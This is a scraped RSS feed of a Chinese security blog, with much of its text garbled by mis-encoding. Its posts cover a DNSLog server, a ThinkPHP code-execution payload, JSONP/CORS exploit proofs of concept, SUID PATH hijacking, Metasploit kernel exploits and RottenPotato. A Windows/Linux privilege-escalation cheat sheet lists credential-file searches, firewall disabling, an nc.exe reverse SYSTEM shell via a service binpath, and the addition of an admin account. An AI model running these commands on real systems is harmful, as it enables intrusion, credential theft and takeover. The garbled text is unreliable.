style="color:#0000FF;">try</span>: toip = socketlib.getaddrinfo(name,<span class="hljs-number">0</span>)[<span class="hljs-number">0</span>][<span class="hljs-number">4</span>][<span class="hljs-number">0</span>] ifrom = <span class="hljs-string" style="color:#A31515;">"sev"</span> <span class="hljs-comment" style="color:green;"># namemap[name] = toip</span> <span class="hljs-comment" style="color:green;"># print socket.getaddrinfo(name,0)</span> <span class="hljs-keyword" style="color:#0000FF;">except</span> Exception, e: <span class="hljs-keyword" style="color:#0000FF;">print</span> <span class="hljs-string" style="color:#A31515;">'get ip fail'</span> <span class="hljs-keyword" style="color:#0000FF;">if</span> toip: dns.setip(toip) <span class="hljs-keyword" style="color:#0000FF;">print</span> <span class="hljs-string" style="color:#A31515;">'%s: %s-->%s (%s)'</span>%(self.client_address[<span class="hljs-number">0</span>], name, toip, ifrom) socket.sendto(dns.getbytes(), self.client_address) <span class="hljs-keyword" style="color:#0000FF;">else</span>: <span class="hljs-comment" style="color:green;"># If this is not query a A record, ignore it</span> socket.sendto(data, self.client_address) <span class="hljs-comment" style="color:green;"># DNS Server</span> <span class="hljs-comment" style="color:green;"># It only support A record query</span> <span class="hljs-comment" style="color:green;"># user it, U can create a simple DNS server</span> <span class="hljs-class"><span class="hljs-keyword" style="color:#0000FF;">class</span> <span class="hljs-title" style="color:#A31515;">SinDNSServer</span>:</span> <span class="hljs-function"><span class="hljs-keyword" style="color:#0000FF;">def</span> <span class="hljs-title" style="color:#A31515;">__init__</span><span class="hljs-params">(self, port=<span class="hljs-number">53</span>)</span>:</span> SinDNSServer.namemap = {} self.port = port <span class="hljs-function"><span class="hljs-keyword" style="color:#0000FF;">def</span> <span class="hljs-title" style="color:#A31515;">addname</span><span class="hljs-params">(self, name, ip)</span>:</span> SinDNSServer.namemap[name] = ip <span class="hljs-function"><span class="hljs-keyword" style="color:#0000FF;">def</span> <span class="hljs-title" style="color:#A31515;">start</span><span class="hljs-params">(self)</span>:</span> HOST, PORT = <span class="hljs-string" style="color:#A31515;">"0.0.0.0"</span>, self.port server = SocketServer.UDPServer((HOST, PORT), SinDNSUDPHandler) server.serve_forever() <span class="hljs-comment" style="color:green;"># Now, test it</span> <span class="hljs-keyword" style="color:#0000FF;">if</span> __name__ == <span class="hljs-string" style="color:#A31515;">"__main__"</span>: sev = SinDNSServer() sev.addname(<span class="hljs-string" style="color:#A31515;">'ns0.nogan.ga'</span>,<span class="hljs-string" style="color:#A31515;">'x.x.x.x'</span>) sev.addname(<span class="hljs-string" style="color:#A31515;">'ns1.nogan.ga'</span>,<span class="hljs-string" style="color:#A31515;">'x.x.x.x'</span>) sev.addname(<span class="hljs-string" style="color:#A31515;">'www.nogan.ga'</span>,<span class="hljs-string" style="color:#A31515;">'y.y.y.y'</span>) sev.addname(<span class="hljs-string" style="color:#A31515;">'*'</span>, <span class="hljs-string" style="color:#A31515;">'127.0.0.1'</span>) <span class="hljs-comment" style="color:green;"># default address</span> sev.start() <span class="hljs-comment" style="color:green;"># start DNS server</span> </pre> <p style="text-indent:0px;color:#000000;font-family:Verdana, Arial, Helvetica, sans-serif;font-size:12px;font-style:normal;font-weight:400;text-align:left;background-color:#FFFFFF;"> 上面的ns0.nogan.ga和ns1.nogan.gaҎ你的域名Qƈ且将x.x.x.xҎ你的VPS服务器地址?br /> 如果你在搭徏DNSLog的同时还想顺便搭Z个网站的话,可以d一个www记录Q指向你的web服务器地址?br /> 星号是将L地址执行127.0.0.1Q这样你的DNSLogh记录Q都会被默认解析?27.0.0.1? </p> <p style="text-indent:0px;color:#000000;font-family:Verdana, Arial, Helvetica, sans-serif;font-size:12px;font-style:normal;font-weight:400;text-align:left;background-color:#FFFFFF;"> 接着在服务器上运? </p> <pre class="bash">python dns.py</pre> <p style="text-indent:0px;color:#000000;font-family:Verdana, Arial, Helvetica, sans-serif;font-size:12px;font-style:normal;font-weight:400;text-align:left;background-color:#FFFFFF;"> 在Q意机器上面ping xxxxx.YOURDOMAINQ? </p> <a target="_blank" href="http://www.unaogn.live/content/uploadfile/201905/602e1558159764.png" id="ematt:4639"><img src="http://www.unaogn.live/content/uploadfile/201905/602e1558159764.png" title="点击查看原图" alt="8.png" width="715" height="405" border="0" /></a> </p> <p style="text-indent:0px;color:#000000;font-family:Verdana, Arial, Helvetica, sans-serif;font-size:12px;font-style:normal;font-weight:400;text-align:left;background-color:#FFFFFF;"> <span style="color:#000000;font-family:Verdana, Arial, Helvetica, sans-serif;font-size:12px;font-style:normal;font-weight:400;background-color:#FFFFFF;">可以在VPS上观察到h已经q来?/span> </p> <p style="text-indent:0px;color:#000000;font-family:Verdana, Arial, Helvetica, sans-serif;font-size:12px;font-style:normal;font-weight:400;text-align:left;background-color:#FFFFFF;"> <a target="_blank" href="http://www.unaogn.live/content/uploadfile/201905/7afb1558159787.png" id="ematt:4641"><img src="http://www.unaogn.live/content/uploadfile/201905/7afb1558159787.png" title="点击查看原图" alt="9.png" width="602" height="122" border="0" /></a> </p> <p style="text-indent:0px;color:#000000;font-family:Verdana, Arial, Helvetica, sans-serif;font-size:12px;font-style:normal;font-weight:400;text-align:left;background-color:#FFFFFF;"> <span style="color:#000000;font-family:Verdana, Arial, Helvetica, sans-serif;font-size:12px;font-style:normal;font-weight:400;background-color:#FFFFFF;">但这个时候程序是一直在控制台运行的Q想要退出怎么办呢Q用nohup程序改景运行:</span> </p> <p style="text-indent:0px;color:#000000;font-family:Verdana, Arial, Helvetica, sans-serif;font-size:12px;font-style:normal;font-weight:400;text-align:left;background-color:#FFFFFF;"> <a target="_blank" href="http://www.unaogn.live/content/uploadfile/201905/586e1558159814.png" id="ematt:4643"><img src="http://www.unaogn.live/content/uploadfile/201905/586e1558159814.png" title="点击查看原图" alt="10.png" width="809" height="189" border="0" /></a> </p> <p style="text-indent:0px;color:#000000;font-family:Verdana, Arial, Helvetica, sans-serif;font-size:12px;font-style:normal;font-weight:400;text-align:left;background-color:#FFFFFF;"> <span style="color:#000000;font-family:Verdana, Arial, Helvetica, sans-serif;font-size:12px;font-style:normal;font-weight:400;background-color:#FFFFFF;">惌关闭的话Q先查看端口q获取进E号Q然后kill卛_Q?/span> </p> <p style="text-indent:0px;color:#000000;font-family:Verdana, Arial, Helvetica, sans-serif;font-size:12px;font-style:normal;font-weight:400;text-align:left;background-color:#FFFFFF;"> <a target="_blank" href="http://www.unaogn.live/content/uploadfile/201905/59b21558159843.png" id="ematt:4645"><img src="http://www.unaogn.live/content/uploadfile/201905/59b21558159843.png" title="点击查看原图" alt="11.png" width="1111" height="272" border="0" /></a> </p> <p style="text-indent:0px;color:#000000;font-family:Verdana, Arial, Helvetica, sans-serif;font-size:12px;font-style:normal;font-weight:400;text-align:left;background-color:#FFFFFF;"> <p style="text-indent:0px;color:#000000;font-family:Verdana, Arial, Helvetica, sans-serif;font-size:12px;font-style:normal;font-weight:400;text-align:left;background-color:#FFFFFF;"> Enjoy it~ </p> <p style="text-indent:0px;color:#000000;font-family:Verdana, Arial, Helvetica, sans-serif;font-size:12px;font-style:normal;font-weight:400;text-align:left;background-color:#FFFFFF;"> 附: </p> <p style="text-indent:0px;color:#000000;font-family:Verdana, Arial, Helvetica, sans-serif;font-size:12px;font-style:normal;font-weight:400;text-align:left;background-color:#FFFFFF;"> 搬瓦工VPS优惠地址 Q推?$19.99/q_U合RMBK?28Q: </p> <p style="text-indent:0px;color:#000000;font-family:Verdana, Arial, Helvetica, sans-serif;font-size:12px;font-style:normal;font-weight:400;text-align:left;background-color:#FFFFFF;"> <a href="https://bwh1.net/aff.php?aff=1962">https://bandwagonhost.com/cart.php</a><span> </span>Q可能要扶梯 = = Q? </p> </p> <p style="text-indent:0px;color:#000000;font-family:Verdana, Arial, Helvetica, sans-serif;font-size:12px;font-style:normal;font-weight:400;text-align:left;background-color:#FFFFFF;"> <br /> </p> <p style="text-indent:0px;color:#000000;font-family:Verdana, Arial, Helvetica, sans-serif;font-size:12px;font-style:normal;font-weight:400;text-align:left;background-color:#FFFFFF;"> ?https://www.cnblogs.com/Chorder/p/9087386.html </p>]]></description> <pubDate>Sat, 18 May 2019 06:04:46 +0000</pubDate> <author>mOon</author> <guid>http://www.unaogn.live/post-872.html</guid> </item> <item> <title>Thinkphp5.1 ~ 5.2代码执行漏洞 http://www.unaogn.live/post-871.html Thinkphp5.1 ~ 5.2 代码执行漏洞

需要在library/think/Error.php中设|:
error_reporting(0);

据作者博客中说的Q?br />
本n目发布需要屏蔽异常和错误所以这个配|是一个正常的配置

http://proxy.boomeye.com:19300/wordpress/index.php/2019/01/15/thinkphp5-1-5-2-rec/
讄前(默认情况下)Q?br />
error_reporting(E_ALL);

1.png


讄后:

2.png

3.png


payloadQ?


POST /thinkphp-5.1.29/html/public/index.php HTTP/1.1 
Host: 192.168.96.129 User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:64.0) Gecko/20100101 Firefox/64.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 33

Connection: close c=exec&f=sleep%205&_method=filter 



]]>
Thu, 16 May 2019 09:03:50 +0000 mOon http://www.unaogn.live/post-871.html
域渗?提权? http://www.unaogn.live/post-870.html 域渗?提权?

常见信息攉
dir /a-r-d /s /b                                 查文件夹可写状?br /> dir /b/s password.txt                            查找密码文g或其它敏感文?br /> dir /b/s config.*
findstr /si password *.xml *.ini *.txt
findstr /si login *.xml *.ini *.txt
C:\sysprep.inf
C:\sysprep\sysprep.xml
C:\Windows\Panther\Unattend\Unattended.xml
C:\Windows\Panther\Unattended.xml
dir /s *pass* == *cred* == *vnc* == *.config*    搜烦system32关键字的文g
findstr /si password *.xml *.ini *.txt           搜烦某些特定的文件类?br /> reg query HKLM /f password /t REG_SZ /s          搜烦注册表中包含password
reg query HKCU /f password /t REG_SZ /s
netsh firewall show config                       昄 Windows 防火墙配|?br /> netsh firewall show state                        昄 Windows 防火墙的当前状?
netsh firewall set opmode disable                关闭防火?br /> netsh advfilewall set publicprofile state off
systeminfo | findstr /B /C:"OS Name" /C:"OS Version"    获取操作pȝ信息
systeminfo | findstr /B /C:"OS 名称" /C:"OS 版本"        
schtasks /query /fo LIST /v                      计划d [国外调整 chcp 437]
route print                                      查看路由?br /> arp -A                                           查看ARP~存
upnphost提权
sc qc Spooler                 查询Q配|,和管理Windows服务
accesschk.exe -ucqv Spooler   查每个服务需要的权限   XP_SP2被修?br /> d手法Q?br />     sc qc upnphost
        sc  config  upnphost  binpath=  "C:\nc.exe  -nv  127.0.0.1  9988  -e  
C:\WINDOWS\System32\cmd.exe"
    sc config upnphost obj= ".\LocalSystem" password= ""
    sc qc upnphost
    net start upnphost
    执行netcatq且使用SYSTEM权限反弹一个shell
    sc config PFNET binpath= "net user admin P@ssword123! /add"
    sc stop PFNET
    sc start PFNET
    sc config PFNET binpath= "net localgroup Administrators admin /add"
    sc stop PFNET
    sc start PFNET
服务与权?br /> DRIVERQUERY                 安装驱动
wmic product list brief     查看安装E序和版本信? [可能存在漏洞]
wmic service list brief     查看服务、进E和启动E序信息
wmic process list brief
wmic startup list brief
wmic qfe get Caption,Description,HotFixID,InstalledOn   查看安装补丁和时间信?br /> wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr /C:"KBxxxxxxx"
wimc process where(description="q程?)       l合tasklist /svc
wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i /v
"C:\Windows\\" |findstr /i /v """    列出目标机器上所有没有用引号包含的服务\?br /> tasklist /v /fo list /fi "USERNAME eq NT AUTHORITY\SYSTEM"  {选NT AUTHORITY\SYSTEM?br /> 限进E?br /> icacls "C:\Program Files (x86)\360"     查看路径中受影响文g夹的权限
补丁对应Exp
补丁Ҏ https://github.com/GDSSecurity/Windows-Exploit-Suggester
pip install xlrd --upgrade
./windows-exploit-suggester.py --update
[+] writing to file 2014-06-06-mssb.xlsx
输入“systeminfo”输入,q将其指向微软数据库
./windows-exploit-suggester.py --database 2014-06-06-mssb.xlsx --systeminfo     win7sp1-
systeminfo.txt
未修补漏z存在的exp
./windows-exploit-suggester.py --database 2014-06-06-mssb.xlsx --ostext     'windows server
2008 r2'
AlwaysInstallElevated提权
http://www.greyhathacker.net/?p=185
如果q个讄被启用,它允怓Q何权限的用户暂时使用NT AUTHORITY\SYSTEM权限来安?.msi?br /> 件?br /> AlwaysInstallElevated且它的DWORD值是1才有效?br /> https://github.com/SecWiki/windows-kernel-exploits
https://github.com/SecWiki/linux-kernel-exploits
可以利用Advanced Installer(http://www.advancedinstaller.com/)生成msi安装?br /> 查看.msiE序的执行权?br /> reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
查看是否讄有setuid和setgid
reg  query
HKEY_Local_Machine\System\CurrentControlSet\Services\NfsSvr\Parameters\SafeSetUidGidBits
CVE-2017-1000367
    pȝ必须启用selinux
    sudo需要用selinux支持Qsudo -rQ?br />     用户需要具有sudo权限
gcc -o sudopwn sudopwn.c -lutil
./sudopwn
枚Dpȝ讄和权限的?br /> http://www.securitysift.com/download/linuxprivchecker.py
Z操作pȝ的内核版本号
https://github.com/PenturaLabs/Linux_Exploit_Suggester
./Linux_Exploit_Suggester.pl -k 内核版本号[例如3.10,l合uname -a]
权限提升向量的shell脚本
https://github.com/pentestmonkey/unix-privesc-check
unix-privesc-check standard
unix-privesc-check detailed
下蝲和解压羃脚本RootHelper
https://github.com/NullArray/RootHelper
CVE-2017-7494[Samba]
http://fuping.site/2017/05/25/Samba-Remote-Code-Execution-Vulnerability-Replication/
use exploit/linux/samba/is_known_pipename
set RHOST 192.168.232.137
set target 3
exploit
内核提权
lsb_release -a
uname -a
python -c 'import pty; pty.spawn("/bin/bash")'
suid 提权 [有限制]
find / -perm -u=s -type f 2>/dev/null
from:
https://04z.net/2017/07/10/AD-Attacks-go/

]]>
Sat, 11 May 2019 04:01:07 +0000 mOon http://www.unaogn.live/post-870.html
JSONP与CORS漏洞挖掘 http://www.unaogn.live/post-869.html 前言
本文从笔者自己对同源{略的理解来谈谈与之相关的JSONP劫持和CORS错误配置q两cd全问题?/span>
 
同源{略(SOP)
同源{略限制从一个源加蝲的文档或脚本与来自另一个源的资源进行交?q是一个用于隔L在恶意文件的关键的安全机?单说是览器的一U安全策略?/span>
“同源”包括三个条?
  • 同协?/span>
  • 同域?/span>
  • 同端?/span>

同源{略的具体表CD?当attacker.me试图获取victim.me下的资源,览器会Lq回该资源?/span>


< script type = "text/javascript" >
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
    if (xhr.readyState === 4) {
        console.log(xhr.responseText);
    }
}
xhr.open("GET", "http://victim.me/secret");

xhr.send(); < /script>/

2.png

(该请求虽然发出去?但浏览器拒绝q回响应内容)
3.png

跨域
虽然同源{略在安全方面vC很好的防护作?但也在一定程度上限制了一些前端功能的实现,所以就有了许多跨域的手Dc?/span>
 
可跨域的标签
所有带src或href属性的标签以及部分其他标签可以跨域:

< script src = "..." > </script>
<img src="...">
<video src="..."></video > <audio src = "..." > </audio>
<embed src="...">
<frame src="...">
<iframe src="..."></iframe > <link rel = "stylesheet"href = "..." > <applet code = "..." > </applet>
<object data="..." ></object >

@font - face可以引入跨域字体?

< style type = "text/css" > @font - face {
    src: url("http://developer.mozilla.org/@api/deki/files/2934/=VeraSeBd.ttf");
} < /style>/


我ؓ什么要说这些标{֑,因ؓ下文的JSONP跨域是利用script标签来实现的?/span>
document.domain
同一d的不同子域可以设|document.domainZ域来让他们同?q且子域的协议和端口都要一致?/span>
document.domain只能讄往上设|域?需要蝲入iframe来相互操作?/span>
举例:a.victim.me和b.victim.me的域讄为victim.me,实现跨域?/span>
< !--a.html-->
<html > <body > <script type = "text/javascript" > document.domain = 'victim.me';
var ifr = document.createElement('iframe');
ifr.src = 'http://b.victim.me/b.html';
ifr.style.display = 'none';
document.body.appendChild(ifr);
ifr.onload = function() {
    var ifrdoc = ifr.contentDocument || ifr.contentWindow.document;
    alert(ifrdoc.getElementsByTagName('html')[0].innerHTML);
}; < /script>
</body > </html>
<!-- b.html -->
<script type="text/javascript ">
    document.domain = "victim.me ";
</script>"

4.png

JSONP
JSONP跨域巧妙的利用了script标签能跨域的特点,实现了json的跨域传输?/span>
实例,例如q样一个获取客LIP的接?
5.png

callback参数从客L传入,q回?/span>hack({"ip": "***.***.159.159"});,形式正好是在调用hack()函数?/span>
所以只要我们在调用该接口处事先定义好这个hack()函数,p获取C入的参数{"ip": "***.***.159.159"},从而实Cjson的跨域传输?/span>
< !--jsonp_hijack.html--><script >
function addScriptTag(src) {
    var script = document.createElement('script');
    script.setAttribute("type", "text/javascript");
    script.src = src;
    document.body.appendChild(script);
}window.onload = function() {
    addScriptTag('http://ip.jsontest.com/?callback=ip');
}
function ip(data) {
    alert(data.ip);
}; < /script>/

6.png

当这个接口没有验证Referer头的时?存在JSONP劫持漏洞,卛_M域下都能H取C输的数据?/span>
当接口返回的是一些敏感数据时(如CSRF TOKEN,用户个h信息{?,危害是很大的?/span>
具体案例可以?
防M{略是查referer头是否在白名单内?/span>
跨源资源׃n(CORS)
跨源资源׃n (CORS) 定义了在一个域中加载的客户?Web 应用E序与另一个域中的资源交互的方?需要浏览器和服务器共同支持才能实现
览器将CORSh分成两类Q简单请求(simple requestQ和非简单请求(not-so-simple request)
具体可以参?/span>CORS通信
CORS的配|很?以PHPZ,
< ?php
// index.php
header("Access-Control-Allow-Origin: http://attacker.me");
echo 'secret';q里在victim.me下设|了一个白名单: attacker.me,
于是attacker.mep跨域到victim.me < !--inde.html--><script type = "text/javascript" >
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
    if (xhr.readyState === 4) {
        alert(xhr.responseText);
    }
}
xhr.open("GET", "http://victim.me/index.php");
xhr.send(); < /script>/

7.png

此时q个xhr是没有携带cookie?如果需要支持cookie,q需要服务端配置:
header("Access-Control-Allow-Credentials: true");
同时在客L把withCredentials讄为true
7.png

q有一U特D情?是Access-Control-Allow-Origin讄成通配W?”时,表示允许M域名跨源?/span>
如果再把Access-Control-Allow-Credentials讄为true,允许客户端带上cookie的话,无疑此时是非常危险的.因ؓd者很ҎpH取到用户个人的数据?/span>
所以浏览器加上了最后一道防U??/span>
header("Access-Control-Allow-Origin: *"); header("Access-Control-Allow-Credentials: true");
q种配置出现?览器会拒接呈现服务端返回的资源.
9.png
客户端不带cookieh的话q是会正常呈现的,因ؓcookie是一Un份标?一旦浏览器标识了用戯n?那么q回的数据必然属于用户个?所以浏览器设计了这U措施来保护用户数据不被泄露?/span>
管CORS在设计上考虑C安全问题,但是用户在配|时q是常出现很多错误?/span>
例如讄”Access-Control-Allow-Origin”的白名单时,正则写的不正?D预期外的域名可以跨域?/span>
W者在不久前就遇到了这样一个案例?/span>

10.png

q个接口用于q回用户的地址{数?但正则没写对?/span>
E序员想匚wdomain.com及其L子域,我推他可能写的?/span>.*domain\.com
l果D了用evildomain.com或者domain.com.evil.me也能匚w?从而被l过?/span>
POC:
< !DOCTYPE html > <html >

<body > div id = "demo" > <button type = "button"onclick = "cors()" > Exploit < /button>
</div >

<script >
function cors() {
    var xhttp = new XMLHttpRequest();
    xhttp.onreadystatechange = function() {
        if (this.readyState == 4 && this.status == 200) {
            document.getElementById("demo").innerHTML = alert(this.responseText);
        }
    };
    xhttp.open("GET", "https://target.com/", true);
    xhttp.withCredentials = true;
    xhttp.send();
} < /script>
</body > </html>/

11.png

国内q方面的案例太少,很多得这些不痛不痒的z没什么危?国外可以看到一些案?
q类问题的防御措施是正确的配|Access-Control-Allow-Origin,其是配|ؓh”通配”效果的域名?一定要谨慎?/span>
 
ȝ
只要理解了同源策?JSONP和CORS很Ҏ理解了?/span>
我以前接触同源策略最大的一个误区就?认ؓ同源{略L了请求的发送?/span>
其实,无论是同源策略还是CORS,都是览器阻止了响应的呈?而非h?/span>
最?JSONP劫持和CORS错误配置q两c问题已l出现多q?但是现在q是大量出现,相当重要的一个原因是厂商不够重视.认ؓ传输的数据ƈ不重?但是一旦因些小问题,L你的CSRF防M甚至账户认证体系?可能׃ؓ时已晚了?/span>
 

]]>
Fri, 10 May 2019 02:16:37 +0000 mOon http://www.unaogn.live/post-869.html
Linux提权之SUID http://www.unaogn.live/post-868.html Linux提权之SUID

介绍

PATH是Linux和类Unix操作pȝ中的环境变量Q它指定存储可执行程序的所有bin和sbin目录。当用户在终端上q行M命oӞ它会通过PATH变量来响应用h行的命oQ向shell发送请求以搜烦可执行文件。超U用户通常q具? sbin? usr / sbin条目以便于执行系l管理命令?/span>
SUID属性一般用在可执行文g上,当用h行该文gӞ会时拥有该执行文g的所有者权限。一旦程序拥有SUID权限的话Q运行该E序时会以最高权限运行?/span>
查看$PATH变量
fire@fire-Box:~$ echo $PATH/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin

环境搭徏
我们需要先生成一个具有SUID权限的程序,所以先~写一个c语言E序Q代码如下:

#include <unistd.h>
#include <stdlib.h>
int main(vod)
{    
setuid(0);    
setgid(0);
system("ps");

return 0;

}

然后对其q行~译Qƈl编译出来的赋予SUID权限Qchmod u+s pwn{同于chmod 4755 pwnQ?br /> 1.png
开?/span>提权
Ҏ文章 Linux Privilege Escalation Using PATH Variable

中提到的4U?/span>提权ҎQ实际上可以归结?U,是修改环境变量调用 /bin/bahs E序。下面来看具体操作:

find . -perm -u=s -type f 2>/dev/null    # 在当前目录下查找hSUID权限的可执行文g
echo "/bin/bash" > ps    # 在当前目录下生成一个内容ؓ
/bin/bash 的ps文gchmod 777 ps    # l它可执行权?/span>
echo $PATH        # 查看当前环境变量
export PATH=.:$PATH        # 当前\径添加到环境变量?/span>
./pwn    # 执行hSUID权限E序

2.png


首先我们使用 find . -perm -u=s -type f 2>/dev/null 在当前目录下查找hSUID权限的可执行文gQ我们找Cpwn。由于pwnE序调用了了pȝ的psE序Q所以我们要在当前目录下生成一个内容ؓ /bin/bash 的ps文gQƈl它可执行权限,然后我们再把当前路径d到环境变量中Q这样做的目的就是然E序搜烦psE序的时候,先从当前目录开始搜索,q样׃搜烦到我们生成的ps文gQ从而执?/bin/bash E序Q达?/span>提权的目的?/span>
我们q可以用创Y链接的方式来替代上面?echo "/bin/bash">ps && chmod 777 ps 命oQ这U方式更快些?/span>

ln -s /bin/bash ps

3.png

]]>
Thu, 09 May 2019 10:01:58 +0000 mOon http://www.unaogn.live/post-868.html
Metasploit框架中的Windows内核漏洞利用提权教程 http://www.unaogn.live/post-867.html Metasploit框架中的Windows内核漏洞利用提权教程

Windows-Exploit-suggester
Metasploit内置模块提供了各U可用于提权的local exploitsQƈ会基于架构,q_Q即q行的操作系l)Q会话类型和所需默认选项提供。这极大的节省了我们的时_省去了我们手动搜索local exploits的麻烦。虽说如此,但也q所有列出的local exploits都可用。所以,无论是漏z利用还是查找最好的办法是自动l合手动?nbsp;
用法
注:要用local exploit suggesterQ我们必d在目标机器上获取C一个Meterpreter session。在q行Local Exploit suggester之前Q我们需要将现有的Meterpreter session调到后台q行QCTRL + ZQ?
CZQ假设我们现在有一个Meterpreter session 1
use post/multi/recon/local_exploit_suggester set LHOST 192.168.1.107 set SESSION 1 exploit
如下图所C,它自动的为我们匹配出了一些可能的用于易受d目标提权的漏z利用模块?

8.jpeg

Windows ClientCopyImage Win32k Exploit
Windows内核模式驱动E序Ҏ提升漏洞。此模块利用了win32k.sys内核模式驱动E序中的不正对象处理进行提权?
该模块已在Windows 7 x64和x86QWindows 2008 R2 SP1 x64的易受攻ȝ本上q行了测试?
让我们{到MSF控制台ƈ执行该漏z的exploit模块
use exploit/windows/local/ms15_051_client_copy_image set lhost 192.168.1.107 set session 1 exploit
一旦exploit成功执行Q就会打开另一个Meterpreter session
getsystem getuid
可以看到Q我们当前的用户权限已提升ؓ?span style="font-weight:bold;">NT AUTHORITY\SYSTEM
9.jpeg

Windows TrackPopupMenu Win32k NULL指针解引?/span>
此模块利用了win32k.sys中的NULL指针解引用,漏洞可通过TrackPopupMenu函数q行触发。在Ҏ情况下,我们可以滥用在xxxSendMessageTimeout上的NULL指针解引用,来实CQ意代码执行操作?
该模块已在Windows XP SP3QWindows Server 2003 SP2QWindows 7 SP1 Windows Server 2008 32位和Windows Server 2008 R2 SP1 64位上q行了测试?
让我们{到MSF控制台ƈ执行该漏z的exploit模块
use exploit/windows/local/ms14_058_track_popup_menu set lhost 192.168.1.107 set session 1 exploit
一旦exploit成功执行Q就会打开另一个Meterpreter session
getsystem getuid
可以看到Q我们当前的用户权限已提升ؓ?span style="font-weight:bold;">NT AUTHORITY\SYSTEM
10.jpeg

通过KiTrap0D提升Windows权限
此模块将通过KiTrap0D exploit创徏hSYSTEM权限的新会话Q如果当前用的会话权限已提升,则exploit不会运行。该模块依赖于kitrap0d.x86.dllQ因此在x64版本的Windows上不受支持?
该模块已?2位的Windows Server 2003QWindows Server 2008QWindows 7和XP易受d版本上进行了试?
让我们{到MSF控制台ƈ执行该漏z的exploit模块
use exploit/windows/local/ms10_015_kitrap0d set lhost 192.168.1.107 set session 1 exploit
一旦exploit成功执行Q就会打开另一个Meterpreter session
getsystem getuid
可以看到Q我们当前的用户权限已提升ؓ?span style="font-weight:bold;">NT AUTHORITY\SYSTEM
11.jpeg

Task Scheduler XML提权
此漏z发生在Task Scheduler中,可允许用h升权限。如果攻击者登录到受媄响的pȝQƈq行特制应用E序Q则该漏z可能允许特权提升。攻击者必L有有效的d凭据Qƈ且能够在本地d才能成功利用此漏z。远E或匿名用户则无法利用此漏洞?
该模块已在Windows VistaQWindows 7QWindows Server 2008 x64和x86的易受攻ȝ本上q行了测试?
让我们{到MSF控制台ƈ执行该漏z的exploit模块
use exploit/windows/local/ms10_092_schelevator set lhost 192.168.1.107 set session 1 exploit
一旦exploit成功执行Q就会打开另一个Meterpreter session
getsystem getuid
可以看到Q我们当前的用户权限已提升ؓ?span style="font-weight:bold;">NT AUTHORITY\SYSTEM

12.jpeg

MS16-016 mrxdav.sys WebDav本地提权
此模块利用了mrxdav.sys中的漏洞。其在目标pȝ生成一个进E,q在执行payload之前其权限提升到NT AUTHORITY\SYSTEM?
该模块已在Windows 7 SP1Qx86架构的易受攻ȝ本上q行了测试?
让我们{到MSF控制台ƈ执行该漏z的exploit模块
use exploit/windows/local/ms16_016_webdav set lhost 192.168.1.107 set session 1 exploit
一旦exploit成功执行Q就会打开另一个Meterpreter session
getsystem getuid
可以看到Q我们当前的用户权限已提升ؓ?span style="font-weight:bold;">NT AUTHORITY\SYSTEM
13.jpeg

MS16-016 mrxdav.sys WebDav本地提权
此模块利用了mrxdav.sys中的漏洞。其在目标pȝ生成一个进E,q在执行payload之前其权限提升到NT AUTHORITY\SYSTEM?
该模块已在Windows 7 SP1Qx86架构的易受攻ȝ本上q行了测试?
让我们{到MSF控制台ƈ执行该漏z的exploit模块
use exploit/windows/local/ms16_016_webdav set lhost 192.168.1.107 set session 1 exploit
一旦exploit成功执行Q就会打开另一个Meterpreter session
getsystem getuid
可以看到Q我们当前的用户权限已提升ؓ?span style="font-weight:bold;">NT AUTHORITY\SYSTEM
14.jpeg

MS16-032 Secondary Logon Handle提权
此模块利用了Windows Secondary Logon Service中缺标准句柄过滤的问题。该漏洞主要影响Windows 7-10?k8-2k12 32/64位版本。此模块仅适用于具有Powershell 2.0或更高版本的WindowspȝQ以及具有至两个或以上CPU内核的系l?
use exploit/windows/local/ms16_032_secondary_logon_handle_privesc set session 1 exploit
一旦exploit成功执行Q就会打开另一个Meterpreter session
getsystem getuid
可以看到Q我们当前的用户权限已提升ؓ?span style="font-weight:bold;">NT AUTHORITY\SYSTEM

15jpeg.jpeg

RottenPotato
使用RottenPotato服务帐h地提权至SYSTEM?
首先Q我们在meterpreter会话中用以下选项查看当前pȝ上是否存在Q何有效tokens?
load incognito list_token -u
可以看到Q当前ƈ没有Mtoken可用?
16.jpeg

现在Q我们从github下蝲Rottenpotato?/span>
git clone https://github.com/foxglovesec/RottenPotato.git cd RottenPotato
下蝲完成后我们会在Rottenpotato目录下,看到一个rottenpotato.exe文g?
该文g上传臛_完机器?
upload /root/Desktop/RottenPotato/rottenpotato.exe .
17.jpeg

然后Q键入以下命令执行该exe文gQƈSYSTEM tokend到impersonate user tokens下?
execute -Hc -f rottenpotato.exe impersonate_token "NT AUTHORITY\\SYSTEM"
可以看到Q我们当前的用户权限已提升ؓ?span style="font-weight:bold;">NT AUTHORITY\SYSTEM
18.jpeg

]]>
Thu, 09 May 2019 06:39:28 +0000 mOon http://www.unaogn.live/post-867.html
四个linux提权脚本 http://www.unaogn.live/post-866.html ?/span>
当你d一台计机时可能会遇到一些拒l执行操作的限制Q就你有一个shell也可能会遇到此问题。ؓ了获得目标主机的完全控制权限Q你需要在未被用户授权的地?span class="kl_auto_internal_links_tag">l过权限控制。你可以使用q些权限删除文gQ浏览保密信息,或者安装病毒等用户讨厌的Y件?/span>
Metasploit中拥有各U奇淫y计,让你能远E系l下试获取受害者电脑的pȝU权限。除此之外,当你在目标机器上试提升权限时还有一些Linux脚本可供使用Q通常它们针对的是枚Dpȝ信息而不是给出特定的漏洞或者利用。用这些类型的脚本会Z节省很多旉?/span>
在Linux中用payloadQ之后ؓ反向q接开启multi/handler。一旦你成功侵入了受完计机Q就可以使用以下脚本q行提权了?/span>
LinEnum
脚本化的linux本地枚D?span class="kl_auto_internal_links_tag">权限提升?/span>
隐私讉KQ判断当前用h否能不用密码执行sudo讉K;能否讉Kroot用户的home目录?/span>
pȝ信息Q主机名Q网l信息,当前IP{?/span>
用户信息Q当前用P列出所有用Luid/gid信息Q列?span class="kl_auto_internal_links_tag">root用户Q检查密码hash是否保存?etc/passwd?/span>
内核和发行版详细信息

